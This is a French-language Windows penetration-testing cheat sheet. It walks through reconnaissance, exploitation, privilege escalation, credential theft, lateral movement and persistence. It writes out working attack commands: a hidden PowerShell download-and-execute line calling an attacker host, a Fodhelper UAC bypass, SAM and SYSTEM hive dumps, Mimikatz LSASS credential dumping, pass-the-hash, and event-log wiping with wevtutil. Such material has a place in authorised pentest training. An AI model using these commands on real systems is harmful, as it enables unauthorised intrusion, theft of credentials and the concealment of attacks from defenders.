Guide Étape par Étape : Pentest Windows

Méthodologie complète pour tester la sécurité d'une infrastructure Windows.

Phase 1 : Reconnaissance & SMB Enumeration

Objectif :

Identifier les serveurs Windows, partages, utilisateurs et domaine.

Outils :

  • nmap : Scan des ports Windows (139, 445, 3389, 5985)
  • SMBMap : Énumération partages SMB
  • enum4linux-ng : Enum complète
  • crackmapexec : SMB/WINRM/LDAP audit

Commandes :

# Scan SMB
nmap -p 139,445 -sV -sC target

# Enumération partages
smbmap -H target -u "" -p ""

# Enum complète
enum4linux-ng target

Phase 2 : Exploitation Services Windows

Services critiques :

  • RDP (3389) : Brute force, BlueKeep (CVE-2019-0708), CredSSP
  • SMB (445) : EternalBlue (MS17-010), null sessions
  • WinRM (5985/5986) : Accès PowerShell distant
  • MSSQL (1433) : Authentification faible, xp_cmdshell
  • IIS (80/443) : Injection, misconfig

Commandes :

# RDP Brute Force
hydra -l user -P passwords.txt rdp://target

# EternalBlue exploit
msfconsole -r eternalblue.rc

# MSSQL RCE
xp_cmdshell 'whoami'

# WinRM Shell
evil-winrm -i target -u user -p password

Phase 3 : Accès Initial & Shell

Techniques :

  • Reverse Shell PowerShell : Connexion inverse sécurisée
  • Meterpreter : Payload Metasploit
  • PsExec : Exécution distante
  • Impacket secretsdump : Dump credentials

Commandes :

# PowerShell Reverse Shell
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')"

# PsExec
psexec.py -hashes :hash domain.com/user@target cmd.exe

# Dump SAM
reg save HKLM\\SAM C:\\sam.hive
reg save HKLM\\SYSTEM C:\\system.hive

Phase 4 : UAC Bypass & Escalade

Vecteurs d'attaque :

  • UAC Bypass : Fodhelper, CMSTP, WAD
  • Token Impersonation : Mimikatz, incognito
  • Kernel Exploit : CVE Windows
  • RunAs credentials : Stored credentials

Commandes :

# UAC Bypass avec Fodhelper
Reg Add "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command" /f
Reg Add "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command" /v "Debugger" /f /d "C:\\shell.exe"
Fodhelper.exe

# Token Impersonation (Mimikatz)
token::elevate

# Steal tokens
incognito list_tokens -g

Phase 5 : Dump Credentials & Lateral Movement

Actions :

  • Mimikatz dump : Passwords LSASS mémoire
  • SAM/SYSTEM dump : Offline cracking
  • Pass-the-Hash : Lateral movement sans password
  • Pass-the-Ticket : Utiliser Kerberos tickets
  • Dump NTDS.dit : Hash domaine complet

Commandes :

# Mimikatz dump logon sessions
sekurlsa::logonpasswords

# Pass-the-Hash
pth-winexe -U domain/user%hash //target cmd.exe

# Dump SAM via impacket
impacket-secretsdump -sam sam -system system -security security LOCAL

Phase 6 : Persistence & Nettoyage

Techniques de persistance :

  • Scheduled Task : Tâche planifiée
  • Registry Run : Clé HKLM\\Run
  • WMI Event Subscription : Backdoor WMI
  • Netcat listener : Port permanent

Nettoyage :

  • Vider Event Logs : wevtutil cl System
  • Supprimer fichiers temporaires
  • Nettoyer historique PowerShell

Tableau Récapitulatif

Phase Outils Commandes clés
Reconnaissance nmap, smbmap, enum4linux smbmap -H target -u "" -p ""
Exploitation metasploit, evil-winrm evil-winrm -i target -u user
Escalade Mimikatz, incognito sekurlsa::logonpasswords
Lateral Move psexec, pth-winexe pth-winexe -U domain/user%hash
Persistence PowerShell, WMI, Registry schtasks /create /tn TASK /tr "cmd"

← Retour Writeup